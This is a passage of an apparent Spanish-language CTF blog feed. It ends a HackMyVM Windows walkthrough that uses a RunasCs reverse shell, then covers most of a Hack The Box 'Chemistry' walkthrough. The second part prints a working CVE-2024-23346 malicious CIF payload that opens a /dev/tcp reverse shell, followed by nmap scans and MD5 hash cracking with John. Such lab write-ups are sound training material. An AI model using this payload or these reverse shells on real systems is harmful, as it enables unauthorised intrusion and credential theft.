<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="o">*</span><span class="no">Evil</span><span class="o">-</span><span class="no">WinRM</span><span class="o">*</span> <span class="no">PS</span> <span class="no">C</span><span class="p">:\</span><span class="no">Users</span><span class="p">\</span><span class="n">nica</span><span class="p">\</span><span class="no">Documents</span><span class="o">&gt;</span> <span class="n">invoke</span><span class="o">-</span><span class="no">RunasCs</span> <span class="n">akanksha</span> <span class="n">sweetgirl</span> <span class="n">powershell</span> <span class="o">-</span><span class="n">remote</span> <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.101</span><span class="p">:</span><span class="mi">4444</span>

    <span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="no">Running</span> <span class="k">in</span> <span class="n">session</span> <span class="mi">0</span> <span class="n">with</span> <span class="n">process</span> <span class="n">function</span> <span class="no">CreateProcessWithLogonW</span><span class="p">()</span>
    <span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="no">Using</span> <span class="no">Station</span><span class="p">\</span><span class="no">Desktop</span><span class="p">:</span> <span class="no">Service</span><span class="o">-</span><span class="mh">0x0</span><span class="o">-</span><span class="mi">503</span><span class="n">d31</span><span class="vg">$\</span><span class="no">Default</span>
    <span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="no">Async</span> <span class="n">process</span> <span class="s1">'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'</span> <span class="n">with</span> <span class="n">pid</span> <span class="mi">2788</span> <span class="n">created</span> <span class="k">in</span> <span class="n">background</span><span class="p">.</span>
    <span class="nf">*</span><span class="no">Evil</span><span class="o">-</span><span class="no">WinRM</span><span class="o">*</span> <span class="no">PS</span> <span class="no">C</span><span class="p">:\</span><span class="no">Users</span><span class="p">\</span><span class="n">nica</span><span class="p">\</span><span class="no">Documents</span><span class="o">&gt;</span>
</code></pre></div></div>

<p>Si bien recordamos, anteriormente nos pusimos en escucha por el 4444 con <strong>nc -nlvp</strong>, si nos dirigimos a la terminal vemos que tenemos acceso al usuario <strong>akanksha</strong> y podemos listar los grupos a los cuales pertenece dicho usuario</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">nc</span> <span class="o">-</span><span class="n">nlvp</span> <span class="mi">4444</span>
      <span class="n">listening</span> <span class="n">on</span> <span class="p">[</span><span class="n">any</span><span class="p">]</span> <span class="mi">4444</span> <span class="o">...</span>
      <span class="n">connect</span> <span class="n">to</span> <span class="p">[</span><span class="mf">192.168</span><span class="o">.</span><span class="mf">56.101</span><span class="p">]</span> <span class="n">from</span> <span class="p">(</span><span class="no">UNKNOWN</span><span class="p">)</span> <span class="p">[</span><span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span><span class="p">]</span> <span class="mi">49775</span>
      <span class="no">Windows</span> <span class="no">PowerShell</span>
      <span class="no">Copyright</span> <span class="p">(</span><span class="no">C</span><span class="p">)</span> <span class="no">Microsoft</span> <span class="no">Corporation</span><span class="o">.</span> <span class="no">Todos</span> <span class="n">los</span> <span class="n">derechos</span> <span class="n">reservados</span><span class="o">.</span>


      <span class="no">PS</span> <span class="no">C</span><span class="p">:\</span><span class="no">Windows</span><span class="p">\</span><span class="n">system32</span><span class="o">&gt;</span> <span class="n">whoami</span> <span class="sr">/groups
      whoami /</span><span class="n">groups</span>

      <span class="no">INFORMACION</span> <span class="no">DE</span> <span class="no">GRUPO</span>
      <span class="o">--------------------</span>

      <span class="no">Nombre</span> <span class="n">de</span> <span class="n">grupo</span>                              <span class="no">Tipo</span>           <span class="no">SID</span>                                            <span class="no">Atributos</span>
      <span class="o">============================================</span> <span class="o">==============</span> <span class="o">==============================================</span> <span class="o">========================================================================</span>
      <span class="no">Todos</span>                                        <span class="no">Grupo</span> <span class="n">conocido</span> <span class="no">S</span><span class="o">-</span><span class="mi">1</span><span class="o">-</span><span class="mi">1</span><span class="o">-</span><span class="mi">0</span>                                        <span class="no">Grupo</span> <span class="n">obligatorio</span><span class="p">,</span> <span class="no">Habilitado</span> <span class="n">de</span> <span class="n">manera</span> <span class="n">predeterminada</span><span class="p">,</span> <span class="no">Grupo</span> <span class="n">habilitado</span>
      <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span><span class="p">\</span><span class="no">Idministritirs</span>               <span class="no">Alias</span>          <span class="no">S</span><span class="o">-</span><span class="mi">1</span><span class="o">-</span><span class="mi">5</span><span class="o">-</span><span class="mi">21</span><span class="o">-</span><span class="mi">2519875556</span><span class="o">-</span><span class="mi">2276787807</span><span class="o">-</span><span class="mi">2868128514</span><span class="o">-</span><span class="mi">1002</span> <span class="no">Grupo</span> <span class="n">obligatorio</span><span class="p">,</span> <span class="no">Habilitado</span> <span class="n">de</span> <span class="n">manera</span> <span class="n">predeterminada</span><span class="p">,</span> <span class="no">Grupo</span> <span class="n">habilitado</span>
      <span class="no">BUILTIN</span><span class="p">\</span><span class="no">Usuarios</span>                             <span class="no">Alias</span>          <span class="no">S</span><span class="o">-</span><span class="mi">1</span><span class="o">-</span><span class="mi">5</span><span class="o">-</span><span class="mi">32</span><span class="o">-</span><span class="mi">545</span>                                   <span class="no">Grupo</span> <span class="n">obligatorio</span><span class="p">,</span> <span class="no">Habilitado</span> <span class="n">de</span> <span class="n">manera</span> <span class="n">predeterminada</span><span class="p">,</span> <span class="no">Grupo</span> <span class="n">habilitado</span>
      <span class="no">NT</span> <span class="no">AUTHORITY</span><span class="p">\</span><span class="no">INTERACTIVE</span>                     <span class="no">Grupo</span> <span class="n">conocido</span> <span class="no">S</span><span class="o">-</span><span class="mi">1</span><span class="o">-</span><span class="mi">5</span><span class="o">-</span><span class="mi">4</span>                                        <span class="no">Grupo</span> <span class="n">obligatorio</span><span class="p">,</span> <span class="no">Habilitado</span> <span class="n">de</span> <span class="n">manera</span> <span class="n">predeterminada</span><span class="p">,</span> <span class="no">Grupo</span> <span class="n">habilitado</span>
      <span class="no">INICIO</span> <span class="no">DE</span> <span class="no">SESION</span> <span class="no">EN</span> <span class="no">LA</span> <span class="no">CONSOLA</span>               <span class="no">Grupo</span> <span class="n">conocido</span> <span class="no">S</span><span class="o">-</span><span class="mi">1</span><span class="o">-</span><span class="mi">2</span><span class="o">-</span><span class="mi">1</span>                                        <span class="no">Grupo</span> <span class="n">obligatorio</span><span class="p">,</span> <span class="no">Habilitado</span> <span class="n">de</span> <span class="n">manera</span> <span class="n">predeterminada</span><span class="p">,</span> <span class="no">Grupo</span> <span class="n">habilitado</span>
      <span class="no">NT</span> <span class="no">AUTHORITY</span><span class="p">\</span><span class="no">Usuarios</span> <span class="n">autentificados</span>         <span class="no">Grupo</span> <span class="n">conocido</span> <span class="no">S</span><span class="o">-</span><span class="mi">1</span><span class="o">-</span><span class="mi">5</span><span class="o">-</span><span class="mi">11</span>                                       <span class="no">Grupo</span> <span class="n">obligatorio</span><span class="p">,</span> <span class="no">Habilitado</span> <span class="n">de</span> <span class="n">manera</span> <span class="n">predeterminada</span><span class="p">,</span> <span class="no">Grupo</span> <span class="n">habilitado</span>
      <span class="no">NT</span> <span class="no">AUTHORITY</span><span class="p">\</span><span class="no">Esta</span> <span class="n">compa</span><span class="err">ñ</span><span class="n">ia</span>                   <span class="no">Grupo</span> <span class="n">conocido</span> <span class="no">S</span><span class="o">-</span><span class="mi">1</span><span class="o">-</span><span class="mi">5</span><span class="o">-</span><span class="mi">15</span>                                       <span class="no">Grupo</span> <span class="n">obligatorio</span><span class="p">,</span> <span class="no">Habilitado</span> <span class="n">de</span> <span class="n">manera</span> <span class="n">predeterminada</span><span class="p">,</span> <span class="no">Grupo</span> <span class="n">habilitado</span>
      <span class="no">NT</span> <span class="no">AUTHORITY</span><span class="p">\</span><span class="no">Cuenta</span> <span class="n">local</span>                    <span class="no">Grupo</span> <span class="n">conocido</span> <span class="no">S</span><span class="o">-</span><span class="mi">1</span><span class="o">-</span><span class="mi">5</span><span class="o">-</span><span class="mi">113</span>                                      <span class="no">Grupo</span> <span class="n">obligatorio</span><span class="p">,</span> <span class="no">Habilitado</span> <span class="n">de</span> <span class="n">manera</span> <span class="n">predeterminada</span><span class="p">,</span> <span class="no">Grupo</span> <span class="n">habilitado</span>
      <span class="no">NT</span> <span class="no">AUTHORITY</span><span class="p">\</span><span class="no">AutenticaciOn</span> <span class="no">NTLM</span>              <span class="no">Grupo</span> <span class="n">conocido</span> <span class="no">S</span><span class="o">-</span><span class="mi">1</span><span class="o">-</span><span class="mi">5</span><span class="o">-</span><span class="mi">64</span><span class="o">-</span><span class="mi">10</span>                                    <span class="no">Grupo</span> <span class="n">obligatorio</span><span class="p">,</span> <span class="no">Habilitado</span> <span class="n">de</span> <span class="n">manera</span> <span class="n">predeterminada</span><span class="p">,</span> <span class="no">Grupo</span> <span class="n">habilitado</span>
      <span class="no">Etiqueta</span> <span class="n">obligatoria</span><span class="p">\</span><span class="no">Nivel</span> <span class="n">obligatorio</span> <span class="n">medio</span> <span class="no">Etiqueta</span>       <span class="no">S</span><span class="o">-</span><span class="mi">1</span><span class="o">-</span><span class="mi">16</span><span class="o">-</span><span class="mi">8192</span>
      <span class="no">PS</span> <span class="no">C</span><span class="p">:\</span><span class="no">Windows</span><span class="p">\</span><span class="n">system32</span><span class="o">&gt;</span>

</code></pre></div></div>

<p>Vemos diferentes grupos pero el que Nos llama más la atención es  <code class="language-plaintext highlighter-rouge">WIN-IURF14RBVGV\Idministritirs Alias S-1-5-21-2519875556-2276787807-2868128514-1002 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado</code> es el grupo de administradores. Aunque está mal escrito, tiene los mismos permisos que el grupo de administradores de Windows.</p>

<p>Lo cual nos permitiria entrar en la carpeta del Administrador y ver la flag de root</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="no">PS</span> <span class="no">C</span><span class="p">:\</span><span class="no">Windows</span><span class="p">\</span><span class="n">system32</span><span class="o">&gt;</span> <span class="n">cd</span> <span class="no">C</span><span class="p">:\</span><span class="no">Users</span><span class="p">\</span><span class="no">Administrador</span><span class="p">\</span>
    <span class="n">root</span><span class="p">.</span><span class="nf">txt</span>
</code></pre></div></div>

<h1 id="finalización">Finalización</h1>
<p>Espero que hayan aprendido mucho haciendo esta máquina y les haya servido de ayuda mi explicación para poder entender esta <strong>CTF</strong>. Muchas gracias por leer el artículo y no olviden seguirme en <a href="https://github.com/0x832/">GitHub</a>, ya que también iré subiendo herramientas de hacking.</p>]]></content><author><name>0x832</name></author><category term="HackMyVM" /><category term="Pentesting" /><category term="CTF" /><category term="Reconocimiento" /><category term="SMB" /><category term="WinRM" /><category term="HackMyVM" /><summary type="html"><![CDATA[Hola a todos, hoy les presentaré la resolución de una máquina HackMyVM de dificultad Easy. En esta máquina aprenderemos a enumerar y explotar el servicio SMB, y también a utilizar WinRM para obtener acceso remoto en el sistema Windows, una vez que tengamos las credenciales correctas.]]></summary></entry><entry><title type="html">Chemistry - Easy</title><link href="https://0x832.io/Chemistry-easy/" rel="alternate" type="text/html" title="Chemistry - Easy" /><published>2024-11-24T00:00:00+00:00</published><updated>2024-11-24T00:00:00+00:00</updated><id>https://0x832.io/Chemistry-easy</id><content type="html" xml:base="https://0x832.io/Chemistry-easy/"><![CDATA[<p><img src="/assets/images/2024-11-24-chemistry-easy/C" alt="" /></p>

<p>Hola a todos, hoy les presentaré la resolución de una máquina de <strong>Hack The Box de dificultad fácil</strong>. En esta máquina aprenderemos a subir un archivo <strong>CIF malicioso</strong> para luego acceder al sistema y, a continuación, acceder por <strong>SSH</strong> con un usuario y llegar a ser root abusando de <strong>LFI</strong>.
<br /></p>

<h1 id="reconocimiento">Reconocimiento</h1>
<ul>
  <li>
    <p>Enumeración con nmap</p>

    <p>Hacemos un <code class="language-plaintext highlighter-rouge">nmap</code> simple para ver los puertos que corren en la máquina</p>

    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="c1"># Nmap nmap -p- -sS --min-rate 5000 -T5 -Pn -vvv -oN ports.txt 10.10.11.38
</span>  <span class="n">Increasing</span> <span class="n">send</span> <span class="n">delay</span> <span class="k">for</span> <span class="mf">10.10</span><span class="p">.</span><span class="mf">11.38</span> <span class="k">from</span> <span class="mi">0</span> <span class="n">to</span> <span class="mi">5</span> <span class="n">due</span> <span class="n">to</span> <span class="mi">1525</span> <span class="n">out</span> <span class="n">of</span> <span class="mi">3812</span> <span class="n">dropped</span> <span class="n">probes</span> <span class="n">since</span> <span class="n">last</span> <span class="n">increase</span><span class="p">.</span>
  <span class="nb">Warning</span><span class="p">:</span> <span class="mf">10.10</span><span class="p">.</span><span class="mf">11.38</span> <span class="n">giving</span> <span class="n">up</span> <span class="n">on</span> <span class="n">port</span> <span class="n">because</span> <span class="n">retransmission</span> <span class="n">cap</span> <span class="n">hit</span> <span class="p">(</span><span class="mi">2</span><span class="p">).</span>
  <span class="n">Nmap</span> <span class="n">scan</span> <span class="n">report</span> <span class="k">for</span> <span class="mf">10.10</span><span class="p">.</span><span class="mf">11.38</span>
  <span class="n">Host</span> <span class="ow">is</span> <span class="n">up</span><span class="p">,</span> <span class="n">received</span> <span class="n">user</span><span class="o">-</span><span class="nb">set</span> <span class="p">(</span><span class="mf">0.31</span><span class="n">s</span> <span class="n">latency</span><span class="p">).</span>
  <span class="n">Scanned</span> <span class="n">at</span> <span class="mi">2024</span><span class="o">-</span><span class="mi">11</span><span class="o">-</span><span class="mi">24</span> <span class="mi">13</span><span class="p">:</span><span class="mi">59</span><span class="p">:</span><span class="mi">18</span> <span class="n">CET</span> <span class="k">for</span> <span class="mi">34</span><span class="n">s</span>
  <span class="n">Not</span> <span class="n">shown</span><span class="p">:</span> <span class="mi">65124</span> <span class="n">closed</span> <span class="n">tcp</span> <span class="n">ports</span> <span class="p">(</span><span class="n">reset</span><span class="p">),</span> <span class="mi">409</span> <span class="n">filtered</span> <span class="n">tcp</span> <span class="n">ports</span> <span class="p">(</span><span class="n">no</span><span class="o">-</span><span class="n">response</span><span class="p">)</span>
  <span class="n">PORT</span>     <span class="n">STATE</span> <span class="n">SERVICE</span> <span class="n">REASON</span>
  <span class="mi">22</span><span class="o">/</span><span class="n">tcp</span>   <span class="nb">open</span>  <span class="n">ssh</span>     <span class="n">syn</span><span class="o">-</span><span class="n">ack</span> <span class="n">ttl</span> <span class="mi">63</span>
  <span class="mi">5000</span><span class="o">/</span><span class="n">tcp</span> <span class="nb">open</span>  <span class="n">upnp</span>    <span class="n">syn</span><span class="o">-</span><span class="n">ack</span> <span class="n">ttl</span> <span class="mi">63</span>

  <span class="n">Read</span> <span class="n">data</span> <span class="n">files</span> <span class="k">from</span><span class="p">:</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="nb">bin</span><span class="o">/</span><span class="p">..</span><span class="o">/</span><span class="n">share</span><span class="o">/</span><span class="n">nmap</span>
</code></pre></div>    </div>

    <p>Una vez tenemos los puertos que en este caso como podemos ver es el <code class="language-plaintext highlighter-rouge">22(ssh)</code> y el <code class="language-plaintext highlighter-rouge">5000(upnp)</code></p>

    <p>aplicamos un <code class="language-plaintext highlighter-rouge">nmap</code> más exhaustivo a dichos puertos</p>

    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="c1"># Nmap nmap -p22,5000 -sC -v -T5 -oN porttinfo.txt 10.10.11.38
</span>  <span class="n">Nmap</span> <span class="n">scan</span> <span class="n">report</span> <span class="k">for</span> <span class="mf">10.10</span><span class="p">.</span><span class="mf">11.38</span>
  <span class="n">Host</span> <span class="ow">is</span> <span class="n">up</span> <span class="p">(</span><span class="mf">0.36</span><span class="n">s</span> <span class="n">latency</span><span class="p">).</span>

  <span class="n">PORT</span>     <span class="n">STATE</span> <span class="n">SERVICE</span>
  <span class="mi">22</span><span class="o">/</span><span class="n">tcp</span>   <span class="nb">open</span>  <span class="n">ssh</span>
  <span class="o">|</span> <span class="n">ssh</span><span class="o">-</span><span class="n">hostkey</span><span class="p">:</span> 
  <span class="o">|</span>   <span class="mi">3072</span> <span class="n">b6</span><span class="p">:</span><span class="n">fc</span><span class="p">:</span><span class="mi">20</span><span class="p">:</span><span class="n">ae</span><span class="p">:</span><span class="mi">9</span><span class="n">d</span><span class="p">:</span><span class="mi">1</span><span class="n">d</span><span class="p">:</span><span class="mi">45</span><span class="p">:</span><span class="mi">1</span><span class="n">d</span><span class="p">:</span><span class="mi">0</span><span class="n">b</span><span class="p">:</span><span class="n">ce</span><span class="p">:</span><span class="n">d9</span><span class="p">:</span><span class="n">d0</span><span class="p">:</span><span class="mi">20</span><span class="p">:</span><span class="n">f2</span><span class="p">:</span><span class="mi">6</span><span class="n">f</span><span class="p">:</span><span class="n">dc</span> <span class="p">(</span><span class="n">RSA</span><span class="p">)</span>
  <span class="o">|</span>   <span class="mi">256</span> <span class="n">f1</span><span class="p">:</span><span class="n">ae</span><span class="p">:</span><span class="mi">1</span><span class="n">c</span><span class="p">:</span><span class="mi">3</span><span class="n">e</span><span class="p">:</span><span class="mi">1</span><span class="n">d</span><span class="p">:</span><span class="n">ea</span><span class="p">:</span><span class="mi">55</span><span class="p">:</span><span class="mi">44</span><span class="p">:</span><span class="mi">6</span><span class="n">c</span><span class="p">:</span><span class="mi">2</span><span class="n">f</span><span class="p">:</span><span class="n">f2</span><span class="p">:</span><span class="mi">56</span><span class="p">:</span><span class="mi">8</span><span class="n">d</span><span class="p">:</span><span class="mi">62</span><span class="p">:</span><span class="mi">3</span><span class="n">c</span><span class="p">:</span><span class="mi">2</span><span class="n">b</span> <span class="p">(</span><span class="n">ECDSA</span><span class="p">)</span>
  <span class="o">|</span><span class="n">_</span>  <span class="mi">256</span> <span class="mi">94</span><span class="p">:</span><span class="mi">42</span><span class="p">:</span><span class="mi">1</span><span class="n">b</span><span class="p">:</span><span class="mi">78</span><span class="p">:</span><span class="n">f2</span><span class="p">:</span><span class="mi">51</span><span class="p">:</span><span class="mi">87</span><span class="p">:</span><span class="mi">07</span><span class="p">:</span><span class="mi">3</span><span class="n">e</span><span class="p">:</span><span class="mi">97</span><span class="p">:</span><span class="mi">26</span><span class="p">:</span><span class="n">c9</span><span class="p">:</span><span class="n">a2</span><span class="p">:</span><span class="mi">5</span><span class="n">c</span><span class="p">:</span><span class="mi">0</span><span class="n">a</span><span class="p">:</span><span class="mi">26</span> <span class="p">(</span><span class="n">ED25519</span><span class="p">)</span>
  <span class="mi">5000</span><span class="o">/</span><span class="n">tcp</span> <span class="nb">open</span>  <span class="n">upnp</span>

  <span class="n">Read</span> <span class="n">data</span> <span class="n">files</span> <span class="k">from</span><span class="p">:</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="nb">bin</span><span class="o">/</span><span class="p">..</span><span class="o">/</span><span class="n">share</span><span class="o">/</span><span class="n">nmap</span>
</code></pre></div>    </div>
    <h2 id="ahora-accederemos-a-la-web-para-poder-determinar-que-clase-de-vulnerabilidades-que-podemos-encontrar">Ahora accederemos a la web para poder determinar que clase de vulnerabilidades que podemos encontrar</h2>

    <p>Si escribimos en el navegador <strong>http://10.10.11.38:5000/</strong> nos encontraremos con esta sección.  <br />
  <img src="/assets/images/2024-11-24-chemistry-easy/Login.png" alt="Untitled" /></p>

    <p>Vamos a probar a registrarnos para ver qué encontramos.</p>

    <p><img src="/assets/images/2024-11-24-chemistry-easy/Registrar.png" alt="Untitled" /></p>

    <p>Una vez registrados, vemos que podemos subir archivos, pero si le damos a <strong>here</strong>, se nos descargará un archivo <strong>.cif</strong></p>

    <p><img src="/assets/images/2024-11-24-chemistry-easy/Upload.png" alt="Untitled" /></p>

    <p>Investigando un poco descubrimos que podemos subir un archivo <strong>CIF malicioso</strong></p>

    <h1 id="explotación-del-cif-malicios">Explotación del <code class="language-plaintext highlighter-rouge">CIF MALICIOS</code></h1>

    <p>Nos copiaremos el <a href="https://github.com/9carlo6/CVE-2024-23346">código</a>.</p>

    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>      <span class="n">data_Example</span>
      <span class="n">_cell_length_a</span>    <span class="mf">10.00000</span>
      <span class="n">_cell_length_b</span>    <span class="mf">10.00000</span>
      <span class="n">_cell_length_c</span>    <span class="mf">10.00000</span>
      <span class="n">_cell_angle_alpha</span> <span class="mf">90.00000</span>
      <span class="n">_cell_angle_beta</span>  <span class="mf">90.00000</span>
      <span class="n">_cell_angle_gamma</span> <span class="mf">90.00000</span>
      <span class="n">_symmetry_space_group_name_H</span><span class="o">-</span><span class="n">M</span> <span class="s">'P 1'</span>
      <span class="n">loop_</span>
      <span class="n">_atom_site_label</span>
      <span class="n">_atom_site_fract_x</span>
      <span class="n">_atom_site_fract_y</span>
      <span class="n">_atom_site_fract_z</span>
      <span class="n">_atom_site_occupancy</span>
        
      <span class="n">H</span> <span class="mf">0.00000</span> <span class="mf">0.00000</span> <span class="mf">0.00000</span> <span class="mi">1</span>
      <span class="n">O</span> <span class="mf">0.50000</span> <span class="mf">0.50000</span> <span class="mf">0.50000</span> <span class="mi">1</span>
      <span class="n">_space_group_magn</span><span class="p">.</span><span class="n">transform_BNS_Pp_abc</span>  <span class="s">'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c </span><span class="se">\'</span><span class="s">sh -i &gt;&amp; /dev/tcp/10.10.10.10/4444 0&gt;&amp;1</span><span class="se">\'</span><span class="s">");0,0,0'</span>

      <span class="n">_space_group_magn</span><span class="p">.</span><span class="n">number_BNS</span>  <span class="mf">62.448</span>
      <span class="n">_space_group_magn</span><span class="p">.</span><span class="n">name_BNS</span>  <span class="s">"P  n'  m  a'  "</span>

</code></pre></div>    </div>
    <p>Lo que hace este código es aplicar una reverse shell abriendo una conexión TCP a la IP que hayamos puesto en el puerto 4444 para obtener acceso a la máquina víctima.</p>

    <p>Una vez entendido lo que hace el código, nos ponemos en escucha.</p>

    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">nc</span> <span class="o">-</span><span class="n">nlvp</span> <span class="mi">4444</span>
  <span class="n">listening</span> <span class="n">on</span> <span class="p">[</span><span class="nb">any</span><span class="p">]</span> <span class="mi">4444</span> <span class="p">...</span>
</code></pre></div>    </div>
    <h1 id="acceso-a-la-máquina">Acceso a la máquina</h1>

    <p>Ya hemos obtenido acceso y podemos observar que somos el usuario <code class="language-plaintext highlighter-rouge">app</code></p>

    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">nc</span> <span class="o">-</span><span class="n">nlvp</span> <span class="mi">4444</span>                                          
  <span class="n">listening</span> <span class="n">on</span> <span class="p">[</span><span class="nb">any</span><span class="p">]</span> <span class="mi">4444</span> <span class="p">...</span>
  <span class="n">connect</span> <span class="n">to</span> <span class="p">[</span><span class="mf">10.10</span><span class="p">.</span><span class="mf">16.17</span><span class="p">]</span> <span class="k">from</span> <span class="p">(</span><span class="n">UNKNOWN</span><span class="p">)</span> <span class="p">[</span><span class="mf">10.10</span><span class="p">.</span><span class="mf">11.38</span><span class="p">]</span> <span class="mi">38484</span>
  <span class="n">sh</span><span class="p">:</span> <span class="mi">0</span><span class="p">:</span> <span class="n">can</span><span class="s">'t access tty; job control turned off
  $ whoami
  app
  $ script /dev/null -c bash
  Script started, file is /dev/null
  app@chemistry:~$ 
</span></code></pre></div>    </div>
    <p>Investigando un poco, encontramos esta ruta bastante interesante: <strong>/home/app/instance</strong>,</p>

    <p>la cual tiene un archivo <strong>database.db.</strong> Si lo miramos, encontramos diferentes <strong>hashes</strong> de varios usuarios que podemos intentar romper con John.</p>

    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
  <span class="n">john</span> <span class="o">--</span><span class="nb">format</span><span class="o">=</span><span class="n">Raw</span><span class="o">-</span><span class="n">MD5</span> <span class="o">--</span><span class="n">wordlist</span><span class="o">=/</span><span class="n">usr</span><span class="o">/</span><span class="n">share</span><span class="o">/</span><span class="n">wordlists</span><span class="o">/</span><span class="n">rockyou</span><span class="p">.</span><span class="n">txt</span> <span class="nb">hash</span><span class="p">.</span><span class="n">txt</span>  

  <span class="n">Using</span> <span class="n">default</span> <span class="nb">input</span> <span class="n">encoding</span><span class="p">:</span> <span class="n">UTF</span><span class="o">-</span><span class="mi">8</span>
  <span class="n">Loaded</span> <span class="mi">3</span> <span class="n">password</span> <span class="n">hashes</span> <span class="k">with</span> <span class="n">no</span> <span class="n">different</span> <span class="n">salts</span> <span class="p">(</span><span class="n">Raw</span><span class="o">-</span><span class="n">MD5</span> <span class="p">[</span><span class="n">MD5</span> <span class="mi">256</span><span class="o">/</span><span class="mi">256</span> <span class="n">AVX2</span> <span class="mi">8</span><span class="n">x3</span><span class="p">])</span>
  <span class="nb">Warning</span><span class="p">:</span> <span class="n">no</span> <span class="n">OpenMP</span> <span class="n">support</span> <span class="k">for</span> <span class="n">this</span> <span class="nb">hash</span> <span class="nb">type</span><span class="p">,</span> <span class="n">consider</span> <span class="o">--</span><span class="n">fork</span><span class="o">=</span><span class="mi">4</span>
  <span class="n">Press</span> <span class="s">'q'</span> <span class="ow">or</span> <span class="n">Ctrl</span><span class="o">-</span><span class="n">C</span> <span class="n">to</span> <span class="n">abort</span><span class="p">,</span> <span class="n">almost</span> <span class="nb">any</span> <span class="n">other</span> <span class="n">key</span> <span class="k">for</span> <span class="n">status</span>
  <span class="o">**********</span> <span class="p">(</span><span class="err">?</span><span class="p">)</span>     
  <span class="mi">1</span><span class="n">g</span> <span class="mi">0</span><span class="p">:</span><span class="mi">00</span><span class="p">:</span><span class="mi">00</span><span class="p">:</span><span class="mi">00</span> <span class="n">DONE</span> <span class="p">(</span><span class="mi">2024</span><span class="o">-</span><span class="mi">11</span><span class="o">-</span><span class="mi">24</span> <span class="mi">17</span><span class="p">:</span><span class="mi">38</span><span class="p">)</span> <span class="mf">1.162</span><span class="n">g</span><span class="o">/</span><span class="n">s</span> <span class="mi">16678</span><span class="n">Kp</span><span class="o">/</span><span class="n">s</span> <span class="mi">16678</span><span class="n">Kc</span><span class="o">/</span><span class="n">s</span> <span class="mi">36823</span><span class="n">KC</span><span class="o">/</span><span class="n">s</span>  <span class="n">fuckyooh21</span><span class="p">..</span><span class="o">*</span><span class="mi">7</span><span class="err">¡</span><span class="n">Vamos</span><span class="err">!</span>
  <span class="n">Use</span> <span class="n">the</span> <span class="s">"--show --format=Raw-MD5"</span> <span class="n">options</span> <span class="n">to</span> <span class="n">display</span> <span class="nb">all</span> <span class="n">of</span> <span class="n">the</span> <span class="n">cracked</span> <span class="n">passwords</span> <span class="n">reliably</span>
  <span class="n">Session</span> <span class="n">completed</span><span class="p">.</span> 

</code></pre></div>    </div>

    <p>Una vez que tenemos la contraseña del usuario Rosa, podemos intentar acceder por SSH.</p>

    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">ssh</span> <span class="n">rosa</span><span class="o">@</span><span class="mf">10.10</span><span class="p">.</span><span class="mf">11.38</span>
    <span class="n">rosa</span><span class="o">@</span><span class="mf">10.10</span><span class="p">.</span><span class="mf">11.38</span><span class="s">'s password: 
    Permission denied, please try again.
    rosa@10.10.11.38'</span><span class="n">s</span> <span class="n">password</span><span class="p">:</span> 
    <span class="n">Welcome</span> <span class="n">to</span> <span class="n">Ubuntu</span> <span class="mf">20.04</span><span class="p">.</span><span class="mi">6</span> <span class="n">LTS</span> <span class="p">(</span><span class="n">GNU</span><span class="o">/</span><span class="n">Linux</span> <span class="mf">5.4</span><span class="p">.</span><span class="mi">0</span><span class="o">-</span><span class="mi">196</span><span class="o">-</span><span class="n">generic</span> <span class="n">x86_64</span><span class="p">)</span>

    <span class="o">*</span> <span class="n">Documentation</span><span class="p">:</span>  <span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">help</span><span class="p">.</span><span class="n">ubuntu</span><span class="p">.</span><span class="n">com</span>
    <span class="o">*</span> <span class="n">Management</span><span class="p">:</span>     <span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">landscape</span><span class="p">.</span><span class="n">canonical</span><span class="p">.</span><span class="n">com</span>
    <span class="o">*</span> <span class="n">Support</span><span class="p">:</span>        <span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">ubuntu</span><span class="p">.</span><span class="n">com</span><span class="o">/</span><span class="n">pro</span>

    <span class="n">System</span> <span class="n">information</span> <span class="k">as</span> <span class="n">of</span> <span class="n">Sun</span> <span class="mi">24</span> <span class="n">Nov</span> <span class="mi">2024</span> <span class="mi">10</span><span class="p">:</span><span class="mi">14</span><span class="p">:</span><span class="mi">54</span> <span class="n">PM</span> <span class="n">UTC</span>

      <span class="n">System</span> <span class="n">load</span><span class="p">:</span>           <span class="mf">0.0</span>
      <span class="n">Usage</span> <span class="n">of</span> <span class="o">/</span><span class="p">:</span>            <span class="mf">73.9</span><span class="o">%</span> <span class="n">of</span> <span class="mf">5.08</span><span class="n">GB</span>
      <span class="n">Memory</span> <span class="n">usage</span><span class="p">:</span>          <span class="mi">33</span><span class="o">%</span>
      <span class="n">Swap</span> <span class="n">usage</span><span class="p">:</span>            <span class="mi">0</span><span class="o">%</span>
      <span class="n">Processes</span><span class="p">:</span>             <span class="mi">222</span>
      <span class="n">Users</span> <span class="n">logged</span> <span class="ow">in</span><span class="p">:</span>       <span class="mi">0</span>
      <span class="n">IPv4</span> <span class="n">address</span> <span class="k">for</span> <span class="n">eth0</span><span class="p">:</span> <span class="mf">10.10</span><span class="p">.</span><span class="mf">11.38</span>
